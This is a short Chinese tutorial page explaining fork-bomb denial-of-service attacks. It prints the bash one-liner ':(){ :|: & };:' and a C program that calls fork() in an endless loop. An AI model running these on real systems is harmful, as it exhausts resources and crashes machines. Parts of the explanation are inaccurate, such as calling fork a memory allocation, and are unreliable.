首頁 > 後端開發 > C++ > C vs BASH Fork bomb? C對BASH的Fork炸彈?

C vs BASH Fork bomb? C對BASH的Fork炸彈?

王林
發布: 2023-09-13 10:25:02
轉載
1432 人瀏覽過

C vs BASH Fork bomb? C对BASH的Fork炸弹?

Fork() 炸彈是針對基於 Linux 的系統的 Dos(拒絕服務)攻擊。這會無限次調用 Fork() 系統,從而填滿程式的記憶體並意圖危害系統。

fork 炸彈的 Bash 腳本

:(){ :|: & };:
登入後複製

程式碼解釋為:( ) 是函數定義,{ } 定義迴圈體。 :|:& 建立一個記憶體位置並且不允許它被釋放。該程式一次又一次地多次調用自身。從而實現無限呼叫。

C Fork 炸彈也是相同類型的 Dos,但它可以在 C 編譯器上運行。這會創建對記憶體分配的無限調用,並使系統記憶體不足。

範例

#include <unistd.h>
#include <malloc.h>
int main() {
   while (1) {
      fork();
   }
}
登入後複製

輸出

Infinite calls
登入後複製

以上是C vs BASH Fork bomb? C對BASH的Fork炸彈?的詳細內容。更多資訊請關注PHP中文網其他相關文章!

來源:tutorialspoint.com
本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn
熱門教學
更多>
最新下載
更多>
網站特效
網站源碼
網站素材
前端模板